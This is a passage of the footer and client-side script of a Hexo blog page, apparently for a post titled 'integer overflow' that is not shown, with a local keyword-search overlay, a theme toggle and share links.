        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + %E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F03%2F03%2F%25E6%2595%25B4%25E6%2595%25B0%25E6%25BA%25A2%25E5%2587%25BA%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/03/03/%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
